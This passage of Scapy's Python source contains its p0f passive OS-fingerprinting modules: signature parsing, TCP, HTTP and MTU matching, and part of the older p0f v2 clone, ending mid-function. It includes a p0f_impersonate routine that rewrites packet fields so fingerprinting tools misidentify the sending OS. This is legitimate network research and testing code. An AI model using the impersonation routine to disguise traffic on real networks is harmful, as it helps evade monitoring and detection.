habsent, sw):\n        self.http_ver = http_ver\n        self.hdr = hdr\n        self.hdr_set = hdr_set\n        self.habsent = habsent  # None for packet signatures\n        self.sw = sw\n\n    @classmethod\n    def from_packet(cls, pkt):\n        \"\"\"\n        Receives an HTTP packet (assuming it's valid), and returns\n        a HTTP_Signature object\n        \"\"\"\n        http_payload = raw(pkt[TCP].payload)\n\n        crlfcrlf = b\"\\r\\n\\r\\n\"\n        crlfcrlfIndex = http_payload.find(crlfcrlf)\n        if crlfcrlfIndex != -1:\n            headers = http_payload[:crlfcrlfIndex + len(crlfcrlf)]\n        else:\n            headers = http_payload\n        headers = headers.decode()  # XXX: Check if this could fail\n        first_line, headers = headers.split(\"\\r\\n\", 1)\n\n        if \"1.0\" in first_line:\n            http_ver = 0\n        elif \"1.1\" in first_line:\n            http_ver = 1\n        else:\n            raise ValueError(\"HTTP version is not 1.0/1.1\")\n\n        sw = \"\"\n        headers_found = []\n        hdr_set = set()\n        for header_line in headers.split(\"\\r\\n\"):\n            name, _, value = header_line.partition(\":\")\n            if value:\n                value = value.strip()\n                headers_found.append((name, value))\n                hdr_set.add(name)\n                if name in (\"User-Agent\", \"Server\"):\n                    sw = value\n        hdr = tuple(headers_found)\n        return cls(http_ver, hdr, hdr_set, None, sw)\n\n    @classmethod\n    def from_raw_sig(cls, sig_line):\n        \"\"\"\n        Parses an HTTP sig line and returns a HTTP_Signature object\n        \"\"\"\n        ver, horder, habsent, expsw = lparse(sig_line, 4)\n        http_ver = -1 if ver == \"*\" else int(ver)\n\n        # horder parsing - split by commas that aren't in []\n        new_horder = []\n        for header in re.split(r\",(?![^\\[]*\\])\", horder):\n            name, _, value = header.partition(\"=\")\n            if name[0] == \"?\":  # Optional header\n                new_horder.append((name[1:], value[1:-1], True))\n            else:\n                new_horder.append((name, value[1:-1], False))\n        hdr = tuple(new_horder)\n        hdr_set = frozenset(header[0] for header in hdr if not header[2])\n        habsent = frozenset(habsent.split(\",\"))\n        return cls(http_ver, hdr, hdr_set, habsent, expsw)\n\n    def __str__(self):\n        # values that depend on the context are not included in the string\n        skipval = (\"Host\", \"User-Agent\", \"Date\", \"Content-Type\", \"Server\")\n        hdr = \",\".join(n if n in skipval else \"%s=[%s]\" % (n, v) for n, v in self.hdr)  # noqa: E501\n        fmt = \"%i:%s::%s\"\n        s = fmt % (self.http_ver, hdr, self.sw)\n        return s\n\n\n# Records\nclass MTU_Record(object):\n    __slots__ = [\"label_id\", \"mtu\"]\n\n    def __init__(self, label_id, sig_line):\n        self.label_id = label_id\n        self.mtu = int(sig_line)\n\n\nclass TCP_Record(object):\n    __slots__ = [\"label_id\", \"bad_ttl\", \"sig\"]\n\n    def __init__(self, label_id, sig_line):\n        self.label_id = label_id\n        sig, bad_ttl = TCP_Signature.from_raw_sig(sig_line)\n        self.bad_ttl = bad_ttl\n        self.sig = sig\n\n\nclass HTTP_Record(object):\n    __slots__ = [\"label_id\", \"sig\"]\n\n    def __init__(self, label_id, sig_line):\n        self.label_id = label_id\n        self.sig = HTTP_Signature.from_raw_sig(sig_line)\n\n\nclass p0fKnowledgeBase(KnowledgeBase):\n    \"\"\"\n    .. code::\n\n        self.base = {\n            \"mtu\" (str): [sig(tuple), ...]\n            \"tcp\"/\"http\" (str): {\n                direction (str): [sig(tuple), ...]\n            }\n        }\n        self.labels = (label(tuple), ...)\n\n    \"\"\"\n    def lazy_init(self):\n        try:\n            f = open(self.filename)\n        except Exception:\n            warning(\"Can't open base %s\", self.filename)\n            return\n\n        self.base = {}\n        self.labels = []\n        self._parse_file(f)\n        self.labels = tuple(self.labels)\n        f.close()\n\n    def _parse_file(self, file):\n        \"\"\"\n        Parses p0f.fp file and stores the data with described structures.\n        \"\"\"\n        label_id = -1\n\n        for line in file:\n            if line[0] in (\";\", \"\\n\"):\n                continue\n            line = line.strip()\n\n            if line[0] == \"[\":\n                section, direction = lparse(line[1:-1], 2)\n                if section == \"mtu\":\n                    self.base[section] = []\n                    curr_records = self.base[section]\n                else:\n                    if section not in self.base:\n                        self.base[section] = {direction: []}\n                    elif direction not in self.base[section]:\n                        self.base[section][direction] = []\n                    curr_records = self.base[section][direction]\n            else:\n                param, _, val = line.partition(\" = \")\n                param = param.strip()\n\n                if param == \"sig\":\n                    if section == \"mtu\":\n                        record_class = MTU_Record\n                    elif section == \"tcp\":\n                        record_class = TCP_Record\n                    elif section == \"http\":\n                        record_class = HTTP_Record\n                    curr_records.append(record_class(label_id, val))\n\n                elif param == \"label\":\n                    label_id += 1\n                    if section == \"mtu\":\n                        self.labels.append(val)\n                        continue\n                    # label = type:class:name:flavor\n                    t, c, name, flavor = lparse(val, 4)\n                    self.labels.append((t, c, name, flavor))\n\n                elif param == \"sys\":\n                    sys_names = tuple(name for name in val.split(\",\"))\n                    self.labels[label_id] += (sys_names,)\n\n    def get_sigs_by_os(self, direction, osgenre, osdetails=None):\n        \"\"\"Get TCP signatures that match an OS genre and details (if specified).\n        If osdetails isn't specified, then we pick all signatures\n        that match osgenre.\n\n        Examples:\n            >>> p0fdb.get_sigs_by_os(\"request\", \"Linux\", \"2.6\")\n            >>> p0fdb.get_sigs_by_os(\"response\", \"Windows\", \"8\")\n            >>> p0fdb.get_sigs_by_os(\"request\", \"FreeBSD\")\n        \"\"\"\n        sigs = []\n        for tcp_record in self.base[\"tcp\"][direction]:\n            label = self.labels[tcp_record.label_id]\n            name, flavor = label[2], label[3]\n            if osgenre and osgenre == name:\n                if osdetails:\n                    if osdetails in flavor:\n                        sigs.append(tcp_record.sig)\n                else:\n                    sigs.append(tcp_record.sig)\n        return sigs\n\n    def tcp_find_match(self, ts, direction):\n        \"\"\"\n        Finds the best match for the given signature and direction.\n        If a match is found, returns a tuple consisting of:\n        - label: the matched label\n        - dist: guessed distance from the packet source\n        - fuzzy: whether the match is fuzzy\n        Returns None if no match was found\n        \"\"\"\n        win_multi, use_mtu = detect_win_multi(ts)\n\n        gmatch = None  # generic match\n        fmatch = None  # fuzzy match\n        for tcp_record in self.base[\"tcp\"][direction]:\n            rs = tcp_record.sig\n\n            fuzzy = False\n            ref_quirks = rs.quirks\n\n            if rs.olayout != ts.olayout:\n                continue\n\n            if rs.ip_ver == -1:\n                ref_quirks -= {\"flow\"} if ts.ip_ver == 4 else {\"df\", \"id+\", \"id-\"}  # noqa: E501\n\n            if ref_quirks != ts.quirks:\n                deleted = (ref_quirks ^ ts.quirks) & ref_quirks\n                added = (ref_quirks ^ ts.quirks) & ts.quirks\n\n                if (fmatch or (deleted - {\"df\", \"id+\"}) or (added - {\"id-\", \"ecn\"})):  # noqa: E501\n                    continue\n                fuzzy = True\n\n            if rs.ip_opt_len != ts.ip_opt_len:\n                continue\n            if tcp_record.bad_ttl:\n                if rs.ttl < ts.ttl:\n                    continue\n            else:\n                if rs.ttl < ts.ttl or rs.ttl - ts.ttl > MAX_DIST:\n                    fuzzy = True\n\n            if ((rs.mss != -1 and rs.mss != ts.mss) or\n               (rs.wscale != -1 and rs.wscale != ts.wscale) or\n               (rs.pay_class != -1 and rs.pay_class != ts.pay_class)):\n                continue\n\n            if rs.win_type == WIN_TYPE_NORMAL:\n                if rs.win != ts.win:\n                    continue\n            elif rs.win_type == WIN_TYPE_MOD:\n                if ts.win % rs.win:\n                    continue\n            elif rs.win_type == WIN_TYPE_MSS:\n                if (use_mtu or rs.win != win_multi):\n                    continue\n            elif rs.win_type == WIN_TYPE_MTU:\n                if (not use_mtu or rs.win != win_multi):\n                    continue\n\n            # Got a match? If not fuzzy, return. If fuzzy, keep looking.\n            label = self.labels[tcp_record.label_id]\n            match = (label, rs.ttl - ts.ttl, fuzzy)\n            if not fuzzy:\n                if label[0] == \"s\":\n                    return match\n                elif not gmatch:\n                    gmatch = match\n            elif not fmatch:\n                fmatch = match\n\n        if gmatch:\n            return gmatch\n        if fmatch:\n            return fmatch\n        return None\n\n    def http_find_match(self, ts, direction):\n        \"\"\"\n        Finds the best match for the given signature and direction.\n        If a match is found, returns a tuple consisting of:\n        - label: the matched label\n        - dishonest: whether the software was detected as dishonest\n        Returns None if no match was found\n        \"\"\"\n        gmatch = None  # generic match\n        for http_record in self.base[\"http\"][direction]:\n            rs = http_record.sig\n\n            if rs.http_ver != -1 and rs.http_ver != ts.http_ver:\n                continue\n\n            # Check that all non-optional headers appear in the packet\n            if not (ts.hdr_set & rs.hdr_set) == rs.hdr_set:\n                continue\n\n            # Check that no forbidden headers appear in the packet.\n            if len(rs.habsent & ts.hdr_set) > 0:\n                continue\n\n            def headers_correl():\n                phi = 0  # Packet HTTP header index\n                hdr_len = len(ts.hdr)\n\n                # Confirm the ordering and values of headers\n                # (this is relatively slow, hence the if statements above).\n                # The algorithm is derived from the original p0f/fp_http.c\n                for kh in rs.hdr:\n                    orig_phi = phi\n                    while (phi < hdr_len and\n                           kh[0] != ts.hdr[phi][0]):\n                        phi += 1\n\n                    if phi == hdr_len:\n                        if not kh[2]:\n                            return False\n\n                        for ph in ts.hdr:\n                            if kh[0] == ph[0]:\n                                return False\n\n                        phi = orig_phi\n                        continue\n\n                    if kh[1] not in ts.hdr[phi][1]:\n                        return False\n                    phi += 1\n                return True\n\n            if not headers_correl():\n                continue\n\n            # Got a match\n            label = self.labels[http_record.label_id]\n            dishonest = rs.sw and ts.sw and rs.sw not in ts.sw\n            match = (label, dishonest)\n            if label[0] == \"s\":\n                return match\n            elif not gmatch:\n                gmatch = match\n        return gmatch if gmatch else None\n\n    def mtu_find_match(self, mtu):\n        \"\"\"\n        Finds a match for the given MTU.\n        If a match is found, returns the label string.\n        Returns None if no match was found\n        \"\"\"\n        for mtu_record in self.base[\"mtu\"]:\n            if mtu == mtu_record.mtu:\n                return self.labels[mtu_record.label_id]\n        return None\n\n\np0fdb = p0fKnowledgeBase(conf.p0f_base)\n\n\ndef guess_dist(ttl):\n    for ottl in (32, 64, 128, 255):\n        if ttl <= ottl:\n            return ottl - ttl\n\n\ndef lparse(line, n, delimiter=\":\", default=\"\"):\n    \"\"\"\n    Parsing of 'a:b:c:d:e' lines\n    \"\"\"\n    a = line.split(delimiter)[:n]\n    for elt in a:\n        yield elt\n    for _ in range(n - len(a)):\n        yield default\n\n\ndef validate_packet(pkt):\n    \"\"\"\n    Validate that the packet is an IPv4/IPv6 and TCP packet.\n    If the packet is valid, a copy is returned. If not, TypeError is raised.\n    \"\"\"\n    pkt = pkt.copy()\n    valid = pkt.haslayer(TCP) and (pkt.haslayer(IP) or pkt.haslayer(IPv6))\n    if not valid:\n        raise TypeError(\"Not a TCP/IP packet\")\n    return pkt\n\n\ndef detect_win_multi(ts):\n    \"\"\"\n    Figure out if window size is a multiplier of MSS or MTU.\n    Receives a TCP signature and returns the multiplier and\n    whether mtu should be used\n    \"\"\"\n    mss = ts.mss\n    win = ts.win\n    if not win or mss < 100:\n        return -1, False\n\n    options = [\n        (mss, False),\n        (1500 - MIN_TCP4, False),\n        (1500 - MIN_TCP4 - 12, False),\n        (mss + MIN_TCP4, True),\n        (1500, True)\n    ]\n    if ts.ts1:\n        options.append((mss - 12, False))\n    if ts.ip_ver == 6:\n        options.append((1500 - MIN_TCP6, False))\n        options.append((1500 - MIN_TCP6 - 12, False))\n        options.append((mss + MIN_TCP6, True))\n\n    for div, use_mtu in options:\n        if not win % div:\n            return win / div, use_mtu\n    return -1, False\n\n\ndef packet2p0f(pkt):\n    \"\"\"\n    Returns a p0f signature of the packet, and the direction.\n    Raises TypeError if the packet isn't valid for p0f\n    \"\"\"\n    pkt = validate_packet(pkt)\n    pkt = pkt.__class__(raw(pkt))\n\n    if pkt[TCP].flags.S:\n        if pkt[TCP].flags.A:\n            direction = \"response\"\n        else:\n            direction = \"request\"\n        sig = TCP_Signature.from_packet(pkt)\n\n    elif pkt[TCP].payload:\n        # XXX: guess_payload_class doesn't use any class related attributes\n        pclass = HTTP().guess_payload_class(raw(pkt[TCP].payload))\n        if pclass == HTTPRequest:\n            direction = \"request\"\n        elif pclass == HTTPResponse:\n            direction = \"response\"\n        else:\n            raise TypeError(\"Not an HTTP payload\")\n        sig = HTTP_Signature.from_packet(pkt)\n    else:\n        raise TypeError(\"Not a SYN, SYN/ACK, or HTTP packet\")\n    return sig, direction\n\n\ndef fingerprint_mtu(pkt):\n    \"\"\"\n    Fingerprints the MTU based on the maximum segment size specified\n    in TCP options.\n    If a match was found, returns the label. If not returns None\n    \"\"\"\n    pkt = validate_packet(pkt)\n    mss = 0\n    for name, value in pkt.payload.options:\n        if name == \"MSS\":\n            mss = value\n\n    if not mss:\n        return None\n\n    mtu = (mss + MIN_TCP4) if pkt.version == 4 else (mss + MIN_TCP6)\n\n    if not p0fdb.get_base():\n        warning(\"p0f base empty.\")\n        return None\n\n    return p0fdb.mtu_find_match(mtu)\n\n\ndef p0f(pkt):\n    sig, direction = packet2p0f(pkt)\n    if not p0fdb.get_base():\n        warning(\"p0f base empty.\")\n        return None\n\n    if isinstance(sig, TCP_Signature):\n        return p0fdb.tcp_find_match(sig, direction)\n    else:\n        return p0fdb.http_find_match(sig, direction)\n\n\ndef prnp0f(pkt):\n    \"\"\"Calls p0f and prints a user-friendly output\"\"\"\n    try:\n        r = p0f(pkt)\n    except Exception:\n        return\n\n    sig, direction = packet2p0f(pkt)\n    is_tcp_sig = isinstance(sig, TCP_Signature)\n    to_server = direction == \"request\"\n\n    if is_tcp_sig:\n        pkt_type = \"SYN\" if to_server else \"SYN+ACK\"\n    else:\n        pkt_type = \"HTTP Request\" if to_server else \"HTTP Response\"\n\n    res = pkt.sprintf(\".-[ %IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% (\" + pkt_type + \") ]-\\n|\\n\")  # noqa: E501\n    fields = []\n\n    def add_field(name, value):\n        fields.append(\"| %-8s = %s\\n\" % (name, value))\n\n    cli_or_svr = \"Client\" if to_server else \"Server\"\n    add_field(cli_or_svr, pkt.sprintf(\"%IP.src%:%TCP.sport%\"))\n\n    if r:\n        label = r[0]\n        app_or_os = \"App\" if label[1] == \"!\" else \"OS\"\n        add_field(app_or_os, label[2] + \" \" + label[3])\n        if len(label) == 5:  # label includes sys\n            add_field(\"Sys\", \", \".join(name for name in label[4]))\n        if is_tcp_sig:\n            add_field(\"Distance\", r[1])\n    else:\n        app_or_os = \"OS\" if is_tcp_sig else \"App\"\n        add_field(app_or_os, \"UNKNOWN\")\n\n    add_field(\"Raw sig\", str(sig))\n\n    res += \"\".join(fields)\n    res += \"`____\\n\"\n    print(res)\n\n\ndef p0f_impersonate(pkt, osgenre=None, osdetails=None, signature=None,\n                    extrahops=0, mtu=1500, uptime=None):\n    \"\"\"\n    Modifies pkt so that p0f will think it has been sent by a\n    specific OS. Either osgenre or signature is required to impersonate.\n    If signature is specified (as a raw string), we use the signature.\n    signature format::\n\n        \"ip_ver:ttl:ip_opt_len:mss:window,wscale:opt_layout:quirks:pay_class\"\n\n    If osgenre is specified, we randomly pick a signature with a label\n    that matches osgenre (and osdetails, if specified).\n    Note: osgenre is case sensitive (\"linux\" -> \"Linux\" etc.), and osdetails\n    is a substring of a label flavor (\"7\", \"8\" and \"7 or 8\" will\n    all match the label \"s:win:Windows:7 or 8\")\n\n    For now, only TCP SYN/SYN+ACK packets are supported.\n    \"\"\"\n    pkt = validate_packet(pkt)\n\n    if not osgenre and not signature:\n        raise ValueError(\"osgenre or signature is required to impersonate!\")\n\n    tcp = pkt[TCP]\n    tcp_type = tcp.flags & (0x02 | 0x10)  # SYN / SYN+ACK\n\n    if signature:\n        if isinstance(signature, str):\n            sig, _ = TCP_Signature.from_raw_sig(signature)\n        else:\n            raise TypeError(\"Unsupported signature type\")\n    else:\n        if not p0fdb.get_base():\n            sigs = []\n        else:\n            direction = \"request\" if tcp_type == 0x02 else \"response\"\n            sigs = p0fdb.get_sigs_by_os(direction, osgenre, osdetails)\n\n        # If IPv6 packet, remove IPv4-only signatures and vice versa\n        sigs = [s for s in sigs if s.ip_ver == -1 or s.ip_ver == pkt.version]\n        if not sigs:\n            raise ValueError(\"No match in the p0f database\")\n        sig = random.choice(sigs)\n\n    if sig.ip_ver != -1 and pkt.version != sig.ip_ver:\n        raise ValueError(\"Can't convert between IPv4 and IPv6\")\n\n    quirks = sig.quirks\n\n    if pkt.version == 4:\n        pkt.ttl = sig.ttl - extrahops\n        if sig.ip_opt_len != 0:\n            # FIXME: Non-zero IPv4 options not handled\n            warning(\"Unhandled IPv4 option field\")\n        else:\n            pkt.options = []\n\n        if \"df\" in quirks:\n            pkt.flags |= 0x02  # set DF flag\n            if \"id+\" in quirks:\n                if pkt.id == 0:\n                    pkt.id = random.randint(1, 2**16 - 1)\n            else:\n                pkt.id = 0\n        else:\n            pkt.flags &= ~(0x02)  # DF flag not set\n            if \"id-\" in quirks:\n                pkt.id = 0\n            elif pkt.id == 0:\n                pkt.id = random.randint(1, 2**16 - 1)\n        if \"ecn\" in quirks:\n            pkt.tos |= random.randint(0x01, 0x03)\n        pkt.flags = pkt.flags | 0x04 if \"0+\" in quirks else pkt.flags & ~(0x04)\n    else:\n        pkt.hlim = sig.ttl - extrahops\n        if \"flow\" in quirks:\n            pkt.fl = random.randint(1, 2**20 - 1)\n        if \"ecn\" in quirks:\n            pkt.tc |= random.randint(0x01, 0x03)\n\n    # Take the options already set as \"hints\" to use in the new packet if we\n    # can. we'll use the already-set values if they're valid integers.\n    def int_only(val):\n        return val if isinstance(val, int) else None\n    orig_opts = dict(tcp.options)\n    mss_hint = int_only(orig_opts.get(\"MSS\"))\n    ws_hint = int_only(orig_opts.get(\"WScale\"))\n    ts_hint = [int_only(o) for o in orig_opts.get(\"Timestamp\", (None, None))]\n\n    options = []\n    for opt in sig.olayout.split(\",\"):\n        if opt == \"mss\":\n            # MSS might have a maximum size because of WIN_TYPE_MSS\n            if sig.win_type == WIN_TYPE_MSS:\n                maxmss = (2**16 - 1) // sig.win\n            else:\n                maxmss = (2**16 - 1)\n\n            if sig.mss == -1:  # wildcard mss\n                if mss_hint and 0 <= mss_hint <= maxmss:\n                    options.append((\"MSS\", mss_hint))\n                else:  # invalid hint, generate new value\n                    options.append((\"MSS\", random.randint(100, maxmss)))\n            else:\n                options.append((\"MSS\", sig.mss))\n\n        elif opt == \"ws\":\n            if sig.wscale == -1:  # wildcard wscale\n                maxws = 2**8\n                if \"exws\" in quirks:  # wscale > 14\n                    if ws_hint and 14 < ws_hint < maxws:\n                        options.append((\"WScale\", ws_hint))\n                    else:  # invalid hint, generate new value > 14\n                        options.append((\"WScale\", random.randint(15, maxws - 1)))  # noqa: E501\n                else:\n                    if ws_hint and 0 <= ws_hint < maxws:\n                        options.append((\"WScale\", ws_hint))\n                    else:  # invalid hint, generate new value\n                        options.append((\"WScale\", RandByte()))\n            else:\n                options.append((\"WScale\", sig.wscale))\n\n        elif opt == \"ts\":\n            ts1, ts2 = ts_hint\n\n            if \"ts1-\" in quirks:  # own timestamp specified as zero\n                ts1 = 0\n            elif uptime is not None:  # if specified uptime, override\n                ts1 = uptime\n            elif ts1 is None or not (0 < ts1 < 2**32):  # invalid hint\n                ts1 = random.randint(120, 100 * 60 * 60 * 24 * 365)\n\n            # non-zero peer timestamp on initial SYN\n            if \"ts2+\" in quirks and tcp_type == 0x02:\n                if ts2 is None or not (0 < ts2 < 2**32):  # invalid hint\n                    ts2 = random.randint(1, 2**32 - 1)\n            else:\n                ts2 = 0\n            options.append((\"Timestamp\", (ts1, ts2)))\n\n        elif opt == \"nop\":\n            options.append((\"NOP\", None))\n        elif opt == \"sok\":\n            options.append((\"SAckOK\", \"\"))\n        elif opt[:3] == \"eol\":\n            options.append((\"EOL\", None))\n            # FIXME: opt+ quirk not handled\n            if \"opt+\" in quirks:\n                warning(\"Unhandled opt+ quirk\")\n        elif opt == \"sack\":\n            # Randomize SAck value in range of 10 <= val <= 34\n            sack_len = random.choice([10, 18, 26, 34]) - 2\n            optstruct = \"!%iI\" % (sack_len // 4)\n            rand_val = RandString(struct.calcsize(optstruct))._fix()\n            options.append((\"SAck\", struct.unpack(optstruct, rand_val)))\n        else:\n            warning(\"Unhandled TCP option %s\", opt)\n        tcp.options = options\n\n    if sig.win_type == WIN_TYPE_NORMAL:\n        tcp.window = sig.win\n    elif sig.win_type == WIN_TYPE_MSS:\n        mss = [x for x in options if x[0] == \"MSS\"]\n        if not mss:\n            raise ValueError(\"TCP window value requires MSS, and MSS option not set\")  # noqa: E501\n        tcp.window = mss[0][1] * sig.win\n    elif sig.win_type == WIN_TYPE_MOD:\n        tcp.window = sig.win * random.randint(1, (2**16 - 1) // sig.win)\n    elif sig.win_type == WIN_TYPE_MTU:\n        tcp.window = mtu * sig.win\n    elif sig.win_type == WIN_TYPE_ANY:\n        tcp.window = RandShort()\n    else:\n        warning(\"Unhandled window size specification\")\n\n    if \"seq-\" in quirks:\n        tcp.seq = 0\n    elif tcp.seq == 0:\n        tcp.seq = random.randint(1, 2**32 - 1)\n\n    if \"ack+\" in quirks:\n        tcp.flags &= ~(0x10)  # ACK flag not set\n        if tcp.ack == 0:\n            tcp.ack = random.randint(1, 2**32 - 1)\n    elif \"ack-\" in quirks:\n        tcp.flags |= 0x10  # ACK flag set\n        tcp.ack = 0\n\n    if \"uptr+\" in quirks:\n        tcp.flags &= ~(0x020)  # URG flag not set\n        if tcp.urgptr == 0:\n            tcp.urgptr = random.randint(1, 2**16 - 1)\n    elif \"urgf+\" in quirks:\n        tcp.flags |= 0x020  # URG flag used\n\n    tcp.flags = tcp.flags | 0x08 if \"pushf+\" in quirks else tcp.flags & ~(0x08)\n\n    if sig.pay_class:  # signature has payload\n        if not tcp.payload:\n            pkt /= conf.raw_layer(load=RandString(random.randint(1, 10)))\n    else:\n        tcp.payload = NoPayload()\n\n    return pkt\n"
  },
  {
    "path": "scapy/modules/p0fv2.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nClone of p0f v2 passive OS fingerprinting\n\"\"\"\n\nimport time\nimport struct\nimport os\nimport socket\nimport random\n\nfrom scapy.data import KnowledgeBase, select_path\nfrom scapy.config import conf\nfrom scapy.compat import raw\nfrom scapy.layers.inet import IP, TCP, TCPOptions\nfrom scapy.packet import NoPayload, Packet\nfrom scapy.error import warning, Scapy_Exception, log_runtime\nfrom scapy.volatile import RandInt, RandByte, RandNum, RandShort, RandString\nfrom scapy.sendrecv import sniff\nif conf.route is None:\n    # unused import, only to initialize conf.route\n    import scapy.route  # noqa: F401\n\n_p0fpaths = [\"/etc/p0f\", \"/usr/share/p0f\", \"/opt/local\"]\n\nconf.p0f_base = select_path(_p0fpaths, \"p0f.fp\")\nconf.p0fa_base = select_path(_p0fpaths, \"p0fa.fp\")\nconf.p0fr_base = select_path(_p0fpaths, \"p0fr.fp\")\nconf.p0fo_base = select_path(_p0fpaths, \"p0fo.fp\")\n\n\n###############\n#  p0f stuff  #\n###############\n\n# File format (according to p0f.fp) :\n#\n# wwww:ttt:D:ss:OOO...:QQ:OS:Details\n#\n# wwww    - window size\n# ttt     - initial TTL\n# D       - don't fragment bit  (0=unset, 1=set)\n# ss      - overall SYN packet size\n# OOO     - option value and order specification\n# QQ      - quirks list\n# OS      - OS genre\n# details - OS description\n\nclass p0fKnowledgeBase(KnowledgeBase):\n    def __init__(self, filename):\n        KnowledgeBase.__init__(self, filename)\n        # self.ttl_range=[255]\n\n    def lazy_init(self):\n        try:\n            f = open(self.filename)\n        except IOError:\n            warning(\"Can't open base %s\", self.filename)\n            return\n        try:\n            self.base = []\n            for line in f:\n                if line[0] in [\"#\", \"\\n\"]:\n                    continue\n                line = tuple(line.split(\":\"))\n                if len(line) < 8:\n                    continue\n\n                def a2i(x):\n                    if x.isdigit():\n                        return int(x)\n                    return x\n                li = [a2i(e) for e in line[1:4]]\n                # if li[0] not in self.ttl_range:\n                #    self.ttl_range.append(li[0])\n                #    self.ttl_range.sort()\n                self.base.append((line[0], li[0], li[1], li[2], line[4],\n                                  line[5], line[6], line[7][:-1]))\n        except Exception:\n            warning(\"Can't parse p0f database (new p0f version ?)\")\n            self.base = None\n        f.close()\n\n\np0f_kdb, p0fa_kdb, p0fr_kdb, p0fo_kdb = None, None, None, None\n\n\ndef p0f_load_knowledgebases():\n    global p0f_kdb, p0fa_kdb, p0fr_kdb, p0fo_kdb\n    p0f_kdb = p0fKnowledgeBase(conf.p0f_base)\n    p0fa_kdb = p0fKnowledgeBase(conf.p0fa_base)\n    p0fr_kdb = p0fKnowledgeBase(conf.p0fr_base)\n    p0fo_kdb = p0fKnowledgeBase(conf.p0fo_base)\n\n\np0f_load_knowledgebases()\n\n\ndef p0f_selectdb(flags):\n    # tested flags: S, R, A\n    if flags & 0x16 == 0x2:\n        # SYN\n        return p0f_kdb\n    elif flags & 0x16 == 0x12:\n        # SYN/ACK\n        return p0fa_kdb\n    elif flags & 0x16 in [0x4, 0x14]:\n        # RST RST/ACK\n        return p0fr_kdb\n    elif flags & 0x16 == 0x10:\n        # ACK\n        return p0fo_kdb\n    else:\n        return None\n\n\ndef packet2p0f(pkt):\n    pkt = pkt.copy()\n    pkt = pkt.__class__(raw(pkt))\n    while pkt.haslayer(IP) and pkt.haslayer(TCP):\n        pkt = pkt.getlayer(IP)\n        if isinstance(pkt.payload, TCP):\n            break\n        pkt = pkt.payload\n\n    if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP):\n        raise TypeError(\"Not a TCP/IP packet\")\n    # if pkt.payload.flags & 0x7 != 0x02: #S,!F,!R\n    #    raise TypeError(\"Not a SYN or SYN/ACK packet\")\n\n    db = p0f_selectdb(pkt.payload.flags)\n\n    # t = p0f_kdb.ttl_range[:]\n    # t += [pkt.ttl]\n    # t.sort()\n    # ttl=t[t.index(pkt.ttl)+1]\n    ttl = pkt.ttl\n\n    ss = len(pkt)\n    # from p0f/config.h : PACKET_BIG = 100\n    if ss > 100:\n        if db == p0fr_kdb:\n            # p0fr.fp: \"Packet size may be wildcarded. The meaning of\n            #           wildcard is, however, hardcoded as 'size >\n            #           PACKET_BIG'\"\n            ss = '*'\n        else:\n            ss = 0\n    if db == p0fo_kdb:\n        # p0fo.fp: \"Packet size MUST be wildcarded.\"\n        ss = '*'\n\n    ooo = \"\"\n    mss = -1\n    qqT = False\n    qqP = False\n    # qqBroken = False\n    ilen = (pkt.payload.dataofs << 2) - 20  # from p0f.c\n    for option in pkt.payload.options:\n        ilen -= 1\n        if option[0] == \"MSS\":\n            ooo += \"M\" + str(option[1]) + \",\"\n            mss = option[1]\n            # FIXME: qqBroken\n            ilen -= 3\n        elif option[0] == \"WScale\":\n            ooo += \"W\" + str(option[1]) + \",\"\n            # FIXME: qqBroken\n            ilen -= 2\n        elif option[0] == \"Timestamp\":\n            if option[1][0] == 0:\n                ooo += \"T0,\"\n            else:\n                ooo += \"T,\"\n            if option[1][1] != 0:\n                qqT = True\n            ilen -= 9\n        elif option[0] == \"SAckOK\":\n            ooo += \"S,\"\n            ilen -= 1\n        elif option[0] == \"NOP\":\n            ooo += \"N,\"\n        elif option[0] == \"EOL\":\n            ooo += \"E,\"\n            if ilen > 0:\n                qqP = True\n        else:\n            if isinstance(option[0], str):\n                ooo += \"?%i,\" % TCPOptions[1][option[0]]\n            else:\n                ooo += \"?%i,\" % option[0]\n            # FIXME: ilen\n    ooo = ooo[:-1]\n    if ooo == \"\":\n        ooo = \".\"\n\n    win = pkt.payload.window\n    if mss != -1:\n        if mss != 0 and win % mss == 0:\n            win = \"S\" + str(win / mss)\n        elif win % (mss + 40) == 0:\n            win = \"T\" + str(win / (mss + 40))\n    win = str(win)\n\n    qq = \"\"\n\n    if db == p0fr_kdb:\n        if pkt.payload.flags & 0x10 == 0x10:\n            # p0fr.fp: \"A new quirk, 'K', is introduced to denote\n            #           RST+ACK packets\"\n            qq += \"K\"\n    # The two next cases should also be only for p0f*r*, but although\n    # it's not documented (or I have not noticed), p0f seems to\n    # support the '0' and 'Q' quirks on any databases (or at the least\n    # \"classical\" p0f.fp).\n    if pkt.payload.seq == pkt.payload.ack:\n        # p0fr.fp: \"A new quirk, 'Q', is used to denote SEQ number\n        #           equal to ACK number.\"\n        qq += \"Q\"\n    if pkt.payload.seq == 0:\n        # p0fr.fp: \"A new quirk, '0', is used to denote packets\n        #           with SEQ number set to 0.\"\n        qq += \"0\"\n    if qqP:\n        qq += \"P\"\n    if pkt.id == 0:\n        qq += \"Z\"\n    if pkt.options != []:\n        qq += \"I\"\n    if pkt.payload.urgptr != 0:\n        qq += \"U\"\n    if pkt.payload.reserved != 0:\n        qq += \"X\"\n    if pkt.payload.ack != 0:\n        qq += \"A\"\n    if qqT:\n        qq += \"T\"\n    if db == p0fo_kdb:\n        if pkt.payload.flags & 0x20 != 0:\n            # U\n            # p0fo.fp: \"PUSH flag is excluded from 'F' quirk checks\"\n            qq += \"F\"\n    else:\n        if pkt.payload.flags & 0x28 != 0:\n            # U or P\n            qq += \"F\"\n    if db != p0fo_kdb and not isinstance(pkt.payload.payload, NoPayload):\n        # p0fo.fp: \"'D' quirk is not checked for.\"\n        qq += \"D\"\n    # FIXME : \"!\" - broken options segment: not handled yet\n\n    if qq == \"\":\n        qq = \".\"\n\n    return (db, (win, ttl, pkt.flags.DF, ss, ooo, qq))\n\n\ndef p0f_correl(x, y):\n    d = 0\n    # wwww can be \"*\" or \"%nn\". \"Tnn\" and \"Snn\" should work fine with\n    # the x[0] == y[0] test.\n    d += (x[0] == y[0] or y[0] == \"*\" or (y[0][0] == \"%\" and x[0].isdigit() and (int(x[0]) % int(y[0][1:])) == 0))  # noqa: E501\n    # ttl\n    d += (y[1] >= x[1] and y[1] - x[1] < 32)\n    for i in [2, 5]:\n        d += (x[i] == y[i] or y[i] == 